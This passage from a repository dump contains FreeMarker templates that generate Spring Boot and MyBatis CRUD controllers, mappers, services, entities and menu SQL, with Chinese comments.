${classInfo.className} ${classInfo.className?uncap_first}){\n        log.info(\"${classInfo.className?uncap_first}:\"+JSON.toJSONString(${classInfo.className?uncap_first}));\n        ${classInfo.className} old${classInfo.className} = ${classInfo.className?uncap_first}Mapper.selectOne(new QueryWrapper<${classInfo.className}>().eq(\"${classInfo.className?uncap_first}_id\",${classInfo.className?uncap_first}.get${classInfo.className}Id()));\n        ${classInfo.className?uncap_first}.setUpdateTime(new Date());\n        if(old${classInfo.className}!=null){\n            ${classInfo.className?uncap_first}Mapper.updateById(${classInfo.className?uncap_first});\n        }else{\n        if(${classInfo.className?uncap_first}Mapper.selectOne(new QueryWrapper<${classInfo.className}>().eq(\"${classInfo.className?uncap_first}_name\",${classInfo.className?uncap_first}.get${classInfo.className}Name()))!=null){\n            return ${returnUtilFailure}(\"保存失败，名字重复\");\n        }\n        ${classInfo.className?uncap_first}.setCreateTime(new Date());\n        ${classInfo.className?uncap_first}Mapper.insert(${classInfo.className?uncap_first});\n        }\n        return ${returnUtilSuccess}(\"保存成功\");\n    }\n\n    /**\n    * 删除\n    */\n    @PostMapping(\"/delete\")\n    public Object delete(int id){\n    ${classInfo.className} ${classInfo.className?uncap_first} = ${classInfo.className?uncap_first}Mapper.selectOne(new QueryWrapper<${classInfo.className}>().eq(\"${classInfo.className?uncap_first}_id\",id));\n        if(${classInfo.className?uncap_first}!=null){\n            ${classInfo.className?uncap_first}Mapper.deleteById(id);\n            return ${returnUtilSuccess}(\"删除成功\");\n        }else{\n            return ${returnUtilFailure}(\"没有找到该对象\");\n        }\n    }\n\n    /**\n    * 查询\n    */\n    @PostMapping(\"/find\")\n    public Object find(int id){\n    ${classInfo.className} ${classInfo.className?uncap_first} = ${classInfo.className?uncap_first}Mapper.selectOne(new QueryWrapper<${classInfo.className}>().eq(\"${classInfo.className?uncap_first}_id\",id));\n        if(${classInfo.className?uncap_first}!=null){\n            return ${returnUtilSuccess}(${classInfo.className?uncap_first});\n        }else{\n            return ${returnUtilFailure}(\"没有找到该对象\");\n        }\n    }\n\n    /**\n    * 自动分页查询\n    */\n    @PostMapping(\"/list\")\n    public Object list(String searchParams,\n    @RequestParam(required = false, defaultValue = \"0\") int page,\n    @RequestParam(required = false, defaultValue = \"10\") int limit) {\n        log.info(\"page:\"+page+\"-limit:\"+limit+\"-json:\"+ JSON.toJSONString(searchParams));\n        //分页构造器\n        Page<${classInfo.className}> buildPage = new Page<${classInfo.className}>(page,limit);\n        //条件构造器\n        QueryWrapper<${classInfo.className}> queryWrapper = new QueryWrapper<${classInfo.className}>();\n        if(StringUtils.isNotEmpty(searchParams)&&JSON.isValid(searchParams)) {\n            ${classInfo.className} ${classInfo.className?uncap_first} = JSON.parseObject(searchParams, ${classInfo.className}.class);\n            queryWrapper.eq(StringUtils.isNoneEmpty(${classInfo.className?uncap_first}.get${classInfo.className}Name()), \"${classInfo.className?uncap_first}_name\", ${classInfo.className?uncap_first}.get${classInfo.className}Name());\n        }\n        //执行分页\n        IPage<${classInfo.className}> pageList = ${classInfo.className?uncap_first}Mapper.selectPage(buildPage, queryWrapper);\n        //返回结果\n        return ${returnUtil}.PAGE(pageList.getRecords(),pageList.getTotal());\n    }\n    /**\n    * 手工分页查询(按需使用)\n    */\n    /*@PostMapping(\"/list2\")\n    public Object list2(String searchParams,\n    @RequestParam(required = false, defaultValue = \"0\") int page,\n    @RequestParam(required = false, defaultValue = \"10\") int limit) {\n        log.info(\"searchParams:\"+ JSON.toJSONString(searchParams));\n        //通用模式\n        ${classInfo.className} queryParamDTO = JSON.parseObject(searchParams, ${classInfo.className}.class);\n        //专用DTO模式\n        //QueryParamDTO queryParamDTO = JSON.parseObject(searchParams, QueryParamDTO.class);\n        //queryParamDTO.setPage((page - 1)* limit);\n        //queryParamDTO.setLimit(limit);\n        //(page - 1) * limit, limit\n        List<${classInfo.className}> itemList = ${classInfo.className?uncap_first}Mapper.pageAll(queryParamDTO,(page - 1)* limit,limit);\n        Integer itemCount = ${classInfo.className?uncap_first}Mapper.countAll(queryParamDTO);\n        //返回结果\n        return ${returnUtilSuccess}.PAGE(itemList,itemCount);\n    }*/\n    @GetMapping(\"/list\")\n    public ModelAndView listPage(){\n        return new ModelAndView(\"${classInfo.className?uncap_first}-list\");\n    }\n\n    @GetMapping(\"/edit\")\n    public ModelAndView editPage(int id){\n        ${classInfo.className} ${classInfo.className?uncap_first} = ${classInfo.className?uncap_first}Mapper.selectOne(new QueryWrapper<${classInfo.className}>().eq(\"${classInfo.className?uncap_first}_id\",id));\n        return new ModelAndView(\"${classInfo.className?uncap_first}-edit\",\"${classInfo.className?uncap_first}\",${classInfo.className?uncap_first});\n    }\n\n    /**\n    * 发布/暂停(如不需要请屏蔽)\n    */\n    @PostMapping(\"/publish\")\n    public Object publish(int id,Integer status){\n        ${classInfo.className} ${classInfo.className?uncap_first} = ${classInfo.className?uncap_first}Mapper.selectOne(new QueryWrapper<${classInfo.className}>().eq(\"${classInfo.className?uncap_first}_id\",id));\n        if(${classInfo.className?uncap_first}!=null){\n            ${classInfo.className?uncap_first}.setUpdateTime(new Date());\n            ${classInfo.className?uncap_first}.setStatus(status);\n            ${classInfo.className?uncap_first}Mapper.updateById(${classInfo.className?uncap_first});\n            return ${returnUtilSuccess}((status==1)?\"已发布\":\"已暂停\");\n        }else if(status.equals(${classInfo.className?uncap_first}.getStatus())){\n            return ${returnUtilFailure}(\"状态不正确\");\n        }else{\n            return ${returnUtilFailure}();\n        }\n    }\n\n    /**\n    * 执行(如不需要请屏蔽)\n    */\n    @PostMapping(\"/execute\")\n    public Object execute(){\n        return ${returnUtilSuccess};\n    }\n}\n}\n\n\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis-v1/controller.ftl",
    "content": "<#if isAutoImport?exists && isAutoImport==true>\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\n\nimport javax.annotation.Resource;\nimport javax.servlet.http.HttpServletRequest;\nimport java.util.List;\nimport java.util.Map;\n</#if>\n\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@RestController\n@RequestMapping(value = \"/${classInfo.className?uncap_first}\")\npublic class ${classInfo.className}Controller {\n\n    @Resource\n    private ${classInfo.className}Service ${classInfo.className?uncap_first}Service;\n\n    /**\n    * 新增\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    @RequestMapping(\"/insert\")\n    public Object insert(${classInfo.className} ${classInfo.className?uncap_first}){\n        return ${classInfo.className?uncap_first}Service.insert(${classInfo.className?uncap_first});\n    }\n\n    /**\n    * 刪除\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    @RequestMapping(\"/delete\")\n    public Object delete(int id){\n        return ${classInfo.className?uncap_first}Service.delete(id);\n    }\n\n    /**\n    * 更新\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    @RequestMapping(\"/update\")\n    public Object update(${classInfo.className} ${classInfo.className?uncap_first}){\n        return ${classInfo.className?uncap_first}Service.update(${classInfo.className?uncap_first});\n    }\n\n    /**\n    * 查询 根据主键 id 查询\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    @RequestMapping(\"/load\")\n    public Object load(int id){\n        return ${classInfo.className?uncap_first}Service.load(id);\n    }\n\n    /**\n    * 查询 分页查询\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    @RequestMapping(\"/pageList\")\n    public Map<String, Object> pageList(@RequestParam(required = false, defaultValue = \"0\") int offset,\n                                        @RequestParam(required = false, defaultValue = \"10\") int pagesize) {\n        return ${classInfo.className?uncap_first}Service.pageList(offset, pagesize);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis-v1/mapper.ftl",
    "content": "<#if isAutoImport?exists && isAutoImport==true>\nimport org.apache.ibatis.annotations.Param;\nimport org.apache.ibatis.annotations.Mapper;\nimport org.springframework.stereotype.Repository;\nimport java.util.List;\n</#if>\n\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Mapper\n@Repository\npublic interface ${classInfo.className}Mapper {\n\n    /**\n    * 新增\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    int insert(${classInfo.className} ${classInfo.className?uncap_first});\n\n    /**\n    * 刪除\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    int delete(int id);\n\n    /**\n    * 更新\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    int update(${classInfo.className} ${classInfo.className?uncap_first});\n\n    /**\n    * 查询 根据主键 id 查询\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    ${classInfo.className} load(int id);\n\n    /**\n    * 查询 分页查询\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    List<${classInfo.className}> pageList(int offset,int pagesize);\n\n    /**\n    * 查询 分页查询 count\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    int pageListCount(int offset,int pagesize);\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis-v1/mapper2.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.mapper;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport org.apache.ibatis.annotations.*;\nimport org.springframework.stereotype.Repository;\nimport java.util.List;\n</#if>\n/**\n * @description ${classInfo.classComment}Mapper\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Mapper\n@Repository\npublic interface ${classInfo.className}Mapper {\n\n    @Select(\"select * from ${classInfo.tableName} where ${classInfo.tableName}_id=井{id}\")\n    public ${classInfo.className} getById(Integer id);\n\n    @Options(useGeneratedKeys=true,keyProperty=\"${classInfo.className?uncap_first}Id\")\n    @Insert(\"insert into ${classInfo.tableName}\" +\n        \" (<#list classInfo.fieldList as fieldItem >${fieldItem.columnName}<#if fieldItem_has_next>,</#if></#list>)\" +\n        \" values(<#list classInfo.fieldList as fieldItem >${fieldItem.fieldName}<#if fieldItem_has_next>,<#else>)</#if></#list>\")\n    public Integer insert(${classInfo.className} ${classInfo.className?uncap_first});\n\n    @Delete(value = \"delete from ${classInfo.tableName} where ${classInfo.tableName}_id=井{${classInfo.className?uncap_first}Id}\")\n    boolean delete(Integer id);\n\n    @Update(value = \"update ${classInfo.tableName} set \"\n    <#list classInfo.fieldList as fieldItem >\n        <#if fieldItem.columnName != \"id\">+\" ${fieldItem.columnName}=井{${fieldItem.fieldName}}<#if fieldItem_has_next>,</#if>\"</#if>\n    </#list>\n        +\" where ${classInfo.tableName}_id=井{${classInfo.className?uncap_first}Id} \")\n    boolean update(${classInfo.className} ${classInfo.className?uncap_first});\n\n\n    @Results(value = {\n    <#list classInfo.fieldList as fieldItem >\n        @Result(property = \"${fieldItem.fieldName}\", column = \"${fieldItem.columnName}\")<#if fieldItem_has_next>,</#if>\n    </#list>\n    })\n    @Select(value = \"select * from ${classInfo.tableName} where ${classInfo.tableName}_id=井{queryParam}\")\n    ${classInfo.className} selectOne(String queryParam);\n\n    @Results(value = {\n    <#list classInfo.fieldList as fieldItem >\n        @Result(property = \"${fieldItem.fieldName}\", column = \"${fieldItem.columnName}\")<#if fieldItem_has_next>,</#if>\n    </#list>\n    })\n    @Select(value = \"select * from ${classInfo.tableName} where \"\n    <#list classInfo.fieldList as fieldItem >\n        +\" ${fieldItem.columnName}=井{${fieldItem.fieldName}}<#if fieldItem_has_next> or </#if>\"\n    </#list>\n    )\n    List<${classInfo.className}> selectList(${classInfo.className} ${classInfo.className?uncap_first});\n\n}"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis-v1/model.ftl",
    "content": "<#if isAutoImport?exists && isAutoImport==true>\nimport java.io.Serializable;\nimport java.util.Date;\nimport java.util.List;\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\npublic class ${classInfo.className} implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if>\n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n</#list>\n</#if>\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n    public ${classInfo.className}() {\n    }\n\n<#list classInfo.fieldList as fieldItem>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n\n</#list>\n</#if>\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis-v1/mybatis.ftl",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE mapper PUBLIC \"-//mybatis.org//DTD Mapper 3.0//EN\"\n        \"http://mybatis.org/dtd/mybatis-3-mapper.dtd\">\n<mapper namespace=\"${packageName}.dao.${classInfo.className}Mapper\">\n\n    <resultMap id=\"BaseResultMap\" type=\"${packageName}.entity.${classInfo.className}\" >\n        <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n            <#list classInfo.fieldList as fieldItem >\n                <result column=\"${fieldItem.columnName}\" property=\"${fieldItem.fieldName}\" />\n            </#list>\n        </#if>\n    </resultMap>\n\n    <sql id=\"Base_Column_List\">\n        <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n            <#list classInfo.fieldList as fieldItem >\n                ${fieldItem.columnName}<#if fieldItem_has_next>,</#if>\n            </#list>\n        </#if>\n    </sql>\n\n    <insert id=\"insert\" useGeneratedKeys=\"true\" keyColumn=\"id\" keyProperty=\"id\" parameterType=\"${packageName}.entity.${classInfo.className}\">\n        INSERT INTO ${classInfo.originTableName}\n        <trim prefix=\"(\" suffix=\")\" suffixOverrides=\",\">\n            <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n                <#list classInfo.fieldList as fieldItem >\n                    <#if fieldItem.columnName != \"id\" >\n                        <if test=\"null != ${fieldItem.fieldName} <#if fieldItem.fieldClass =\"String\">and '' != ${fieldItem.fieldName}</#if>\">\n                        ${fieldItem.columnName}<#if fieldItem_has_next>,</#if>\n                        ${r\"</if>\"}\n                    </#if>\n                </#list>\n            </#if>\n        </trim>\n        <trim prefix=\"values (\" suffix=\")\" suffixOverrides=\",\">\n            <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n                <#list classInfo.fieldList as fieldItem >\n                    <#if fieldItem.columnName != \"id\" >\n                    <#--<#if fieldItem.columnName=\"addtime\" || fieldItem.columnName=\"updatetime\" >\n                    ${r\"<if test ='null != \"}${fieldItem.fieldName}${r\"'>\"}\n                        NOW()<#if fieldItem_has_next>,</#if>\n                    ${r\"</if>\"}\n                    <#else>-->\n                        <if test=\"null != ${fieldItem.fieldName} <#if fieldItem.fieldClass =\"String\">and '' != ${fieldItem.fieldName}</#if>\">\n                        ${r\"#{\"}${fieldItem.fieldName}${r\"}\"}<#if fieldItem_has_next>,</#if>\n                        ${r\"</if>\"}\n                    <#--</#if>-->\n                    </#if>\n                </#list>\n            </#if>\n        </trim>\n    </insert>\n\n    <delete id=\"delete\" >\n        DELETE FROM ${classInfo.originTableName}\n        WHERE id = ${r\"#{id}\"}\n    </delete>\n\n    <update id=\"update\" parameterType=\"${packageName}.entity.${classInfo.className}\">\n        UPDATE ${classInfo.originTableName}\n        <set>\n            <#list classInfo.fieldList as fieldItem >\n                <#if fieldItem.columnName != \"id\" && fieldItem.columnName != \"AddTime\" && fieldItem.columnName != \"UpdateTime\" >\n                    <if test=\"null != ${fieldItem.fieldName} <#if fieldItem.fieldClass =\"String\">and '' != ${fieldItem.fieldName}</#if>\">${fieldItem.columnName} = ${r\"#{\"}${fieldItem.fieldName}${r\"}\"}<#if fieldItem_has_next>,</#if>${r\"</if>\"}\n                </#if>\n            </#list>\n        </set>\n        WHERE id = ${r\"#{\"}id${r\"}\"}\n    </update>\n\n\n    <select id=\"load\" resultMap=\"BaseResultMap\">\n        SELECT <include refid=\"Base_Column_List\" />\n        FROM ${classInfo.originTableName}\n        WHERE id = ${r\"#{id}\"}\n    </select>\n\n    <select id=\"pageList\" resultMap=\"BaseResultMap\">\n        SELECT <include refid=\"Base_Column_List\" />\n        FROM ${classInfo.originTableName}\n        LIMIT ${r\"#{offset}\"}, ${r\"#{pageSize}\"}\n    </select>\n\n    <select id=\"pageListCount\" resultType=\"java.lang.Integer\">\n        SELECT count(1)\n        FROM ${classInfo.originTableName}\n    </select>\n\n</mapper>"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis-v1/service.ftl",
    "content": "<#if isAutoImport?exists && isAutoImport==true>\nimport java.util.Map;\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\npublic interface ${classInfo.className}Service {\n\n    /**\n    * 新增\n    */\n    public Object insert(${classInfo.className} ${classInfo.className?uncap_first});\n\n    /**\n    * 删除\n    */\n    public Object delete(int id);\n\n    /**\n    * 更新\n    */\n    public Object update(${classInfo.className} ${classInfo.className?uncap_first});\n\n    /**\n    * 根据主键 id 查询\n    */\n    public ${classInfo.className} load(int id);\n\n    /**\n    * 分页查询\n    */\n    public Map<String,Object> pageList(int offset, int pagesize);\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis-v1/service_impl.ftl",
    "content": "<#if isAutoImport?exists && isAutoImport==true>\nimport org.springframework.stereotype.Service;\nimport javax.annotation.Resource;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Service\npublic class ${classInfo.className}ServiceImpl implements ${classInfo.className}Service {\n\n\t@Resource\n\tprivate ${classInfo.className}Mapper ${classInfo.className?uncap_first}Mapper;\n\n\n\t@Override\n\tpublic Object insert(${classInfo.className} ${classInfo.className?uncap_first}) {\n\n\t\t// valid\n\t\tif (${classInfo.className?uncap_first} == null) {\n\t\t\treturn ${returnUtilFailure}(\"必要参数缺失\");\n        }\n\n\t\t${classInfo.className?uncap_first}Mapper.insert(${classInfo.className?uncap_first});\n        return ${returnUtilSuccess}();\n\t}\n\n\n\t@Override\n\tpublic Object delete(int id) {\n\t\tint ret = ${classInfo.className?uncap_first}Mapper.delete(id);\n\t\treturn ret>0?${returnUtilSuccess}():${returnUtilFailure}();\n\t}\n\n\n\t@Override\n\tpublic Object update(${classInfo.className} ${classInfo.className?uncap_first}) {\n\t\tint ret = ${classInfo.className?uncap_first}Mapper.update(${classInfo.className?uncap_first});\n\t\treturn ret>0?${returnUtilSuccess}():${returnUtilFailure}();\n\t}\n\n\n\t@Override\n\tpublic ${classInfo.className} load(int id) {\n\t\treturn ${classInfo.className?uncap_first}Mapper.load(id);\n\t}\n\n\n\t@Override\n\tpublic Map<String,Object> pageList(int offset, int pagesize) {\n\n\t\tList<${classInfo.className}> pageList = ${classInfo.className?uncap_first}Mapper.pageList(offset, pagesize);\n\t\tint totalCount = ${classInfo.className?uncap_first}Mapper.pageListCount(offset, pagesize);\n\n\t\t// result\n\t\tMap<String, Object> result = new HashMap<String, Object>();\n\t\tresult.put(\"pageList\", pageList);\n\t\tresult.put(\"totalCount\", totalCount);\n\n\t\treturn result;\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis.ftl",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE mapper PUBLIC \"-//mybatis.org//DTD Mapper 3.0//EN\"\n        \"http://mybatis.org/dtd/mybatis-3-mapper.dtd\">\n<mapper namespace=\"${packageMybatisXML}.${classInfo.className}Dao\">\n\n    <resultMap id=\"${classInfo.className}\" type=\"${packageModel}.${classInfo.className}\" >\n    <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n    <#list classInfo.fieldList as fieldItem >\n        <result column=\"${fieldItem.columnName}\" property=\"${fieldItem.fieldName}\" />\n    </#list>\n    </#if>\n    </resultMap>\n\n    <sql id=\"Base_Column_List\">\n    <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n    <#list classInfo.fieldList as fieldItem >\n        `${fieldItem.columnName}`<#if fieldItem_has_next>,</#if>\n    </#list>\n    </#if>\n    </sql>\n\n    <insert id=\"insert\" parameterType=\"java.util.Map\" >\n        INSERT INTO ${classInfo.tableName} (\n        <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n        <#list classInfo.fieldList as fieldItem >\n            <#if fieldItem.columnName != \"Id\" >\n            `${fieldItem.columnName}`<#if fieldItem_has_next>,</#if>\n            </#if>\n        </#list>\n        </#if>\n        )\n        VALUES(\n        <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n        <#list classInfo.fieldList as fieldItem >\n        <#if fieldItem.columnName != \"Id\" >\n            <#if fieldItem.columnName=\"AddTime\" || fieldItem.columnName=\"UpdateTime\" >\n            NOW()<#if fieldItem_has_next>,</#if>\n            <#else>\n            ${r\"#{\"}${classInfo.className?uncap_first}.${fieldItem.fieldName}${r\"}\"}<#if fieldItem_has_next>,</#if>\n            </#if>\n        </#if>\n        </#list>\n        </#if>\n        )\n    </insert>\n\n    <delete id=\"delete\" parameterType=\"java.util.Map\" >\n        DELETE FROM ${classInfo.tableName}\n        WHERE `id` = ${r\"#{id}\"}\n    </delete>\n\n    <update id=\"update\" parameterType=\"java.util.Map\" >\n        UPDATE ${classInfo.tableName}\n        SET\n        <#list classInfo.fieldList as fieldItem >\n        <#if fieldItem.columnName != \"Id\" && fieldItem.columnName != \"AddTime\" && fieldItem.columnName != \"UpdateTime\" >\n            ${fieldItem.columnName} = ${r\"#{\"}${classInfo.className?uncap_first}.${fieldItem.fieldName}${r\"}\"},\n        </#if>\n        </#list>\n            UpdateTime = NOW()\n        WHERE `id` = ${r\"#{\"}${classInfo.className?uncap_first}.id${r\"}\"}\n    </update>\n\n\n    <select id=\"load\" parameterType=\"java.util.Map\" resultMap=\"${classInfo.className}\">\n        SELECT <include refid=\"Base_Column_List\" />\n        FROM ${classInfo.tableName}\n        WHERE `id` = ${r\"#{id}\"}\n    </select>\n\n    <select id=\"pageList\" parameterType=\"java.util.Map\" resultMap=\"${classInfo.className}\">\n        SELECT <include refid=\"Base_Column_List\" />\n        FROM ${classInfo.tableName}\n        LIMIT ${r\"#{offset}\"}, ${r\"#{pagesize}\"}\n    </select>\n\n    <select id=\"pageListCount\" parameterType=\"java.util.Map\" resultType=\"int\">\n        SELECT count(1)\n        FROM ${classInfo.tableName}\n    </select>\n\n</mapper>\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/renren-fast/menu-sql.ftl",
    "content": "-- 菜单SQL\nINSERT INTO `sys_menu` (`parent_id`, `name`, `url`, `perms`, `type`, `icon`, `order_num`)\nVALUES ('1', '${classInfo.classComment}', 'generator/${classInfo.className?uncap_first}', NULL, '1', 'config', '6');\n\n-- 按钮父菜单ID\nset @parentId = @@identity;\n\n-- 菜单对应按钮SQL\nINSERT INTO `sys_menu` (`parent_id`, `name`, `url`, `perms`, `type`, `icon`, `order_num`)\nSELECT @parentId, '查看', null, 'generator:${classInfo.className?uncap_first}:list,generator:${classInfo.className?uncap_first}:info', '2', null, '6';\nINSERT INTO `sys_menu` (`parent_id`, `name`, `url`, `perms`, `type`, `icon`, `order_num`)\nSELECT @parentId, '新增', null, 'generator:${classInfo.className?uncap_first}:save', '2', null, '6';\nINSERT INTO `sys_menu` (`parent_id`, `name`, `url`, `perms`, `type`, `icon`, `order_num`)\nSELECT @parentId, '修改', null, 'generator:${classInfo.className?uncap_first}:update', '2', null, '6';\nINSERT INTO `sys_menu` (`parent_id`, `name`, `url`, `perms`, `type`, `icon`, `order_num`)\nSELECT @parentId, '删除', null, 'generator:${classInfo.className?uncap_first}:delete', '2', null, '6';\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/renren-fast/rr-controller.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.controller;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport java.util.Arrays;\nimport java.util.Map;\n\nimport org.apache.shiro.authz.annotation.RequiresPermissions;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.PathVariable;\nimport org.springframework.web.bind.annotation.RequestBody;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport ${packageName}.entity.${classInfo.className}Entity;\nimport ${packageName}.service.${classInfo.className}Service;\nimport ${packageName}.common.utils.PageUtils;\nimport ${packageName}.common.utils.R;\n</#if>\n\n\n/**\n* @description ${classInfo.classComment}控制器\n* @author ${authorName}\n* @date ${.now?string('yyyy-MM-dd')}\n*/\n@RestController\n@RequestMapping(\"generator/${classInfo.className?uncap_first}\")\npublic class ${classInfo.className}Controller {\n\n@Autowired\nprivate ${classInfo.className}Service ${classInfo.className?uncap_first}Service;\n\n/**\n* 列表\n*/\n@RequestMapping(\"/list\")\n@RequiresPermissions(\"generator:${classInfo.className?uncap_first}:list\")\npublic R list(@RequestParam Map<String, Object> params){\n    PageUtils page = ${classInfo.className?uncap_first}Service.queryPage(params);\n\n    return R.ok().put(\"page\", page);\n}\n\n\n/**\n* 信息\n*/\n@RequestMapping(\"/info/{${classInfo.className?uncap_first}Id}\")\n@RequiresPermissions(\"generator:${classInfo.className?uncap_first}:info\")\npublic R info(@PathVariable(\"${classInfo.className?uncap_first}Id\") int ${classInfo.className?uncap_first}Id){\n    ${classInfo.className}Entity ${classInfo.className?uncap_first} = ${classInfo.className?uncap_first}Service.getById(${classInfo.className?uncap_first}Id);\n\n    return R.ok().put(\"${classInfo.className?uncap_first}\", ${classInfo.className?uncap_first});\n}\n\n/**\n* 保存\n*/\n@RequestMapping(\"/save\")\n@RequiresPermissions(\"generator:${classInfo.className?uncap_first}:save\")\npublic R save(@RequestBody ${classInfo.className}Entity ${classInfo.className?uncap_first}){\n    ${classInfo.className?uncap_first}Service.save(${classInfo.className?uncap_first});\n\n    return R.ok();\n}\n\n/**\n* 修改\n*/\n@RequestMapping(\"/update\")\n@RequiresPermissions(\"generator:${classInfo.className?uncap_first}:update\")\npublic R update(@RequestBody ${classInfo.className}Entity ${classInfo.className?uncap_first}){\n    ${classInfo.className?uncap_first}Service.updateById(${classInfo.className?uncap_first});\n\n    return R.ok();\n}\n\n/**\n* 删除\n*/\n@RequestMapping(\"/delete\")\n@RequiresPermissions(\"generator:${classInfo.className?uncap_first}:delete\")\npublic R delete(@RequestBody int[] ${classInfo.className?uncap_first}Ids){\n    ${classInfo.className?uncap_first}Service.removeByIds(Arrays.asList(${classInfo.className?uncap_first}Ids));\n\n    return R.ok();\n}\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/renren-fast/rr-dao.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.mapper;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport ${packageName}.entity.${classInfo.className}Entity;\nimport com.baomidou.mybatisplus.core.mapper.BaseMapper;\nimport org.apache.ibatis.annotations.Mapper;\n</#if>\n/**\n* @description ${classInfo.classComment}Mapper\n* @author ${authorName}\n* @date ${.now?string('yyyy-MM-dd')}\n*/\n@Mapper\npublic interface ${classInfo.className}Dao extends BaseMapper<${classInfo.className}Entity> {\n\n}"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/renren-fast/rr-daoxml.ftl",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE mapper PUBLIC \"-//mybatis.org//DTD Mapper 3.0//EN\" \"http://mybatis.org/dtd/mybatis-3-mapper.dtd\">\n\n<mapper namespace=\"${packageName}.dao.${classInfo.className}Dao\">\n\n    <!-- 可根据自己的需求，是否要使用 -->\n    <resultMap type=\"${packageName}.entity.${classInfo.className}Entity\" id=\"${classInfo.className}Map\">\n        <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n            <#list classInfo.fieldList as fieldItem >\n                <result property=\"${fieldItem.fieldName}\" column=\"${fieldItem.fieldName}\"/>\n            </#list>\n        </#if>\n    </resultMap>\n\n</mapper>"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/renren-fast/rr-entity.ftl",
    "content": ""
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/renren-fast/rr-service.ftl",
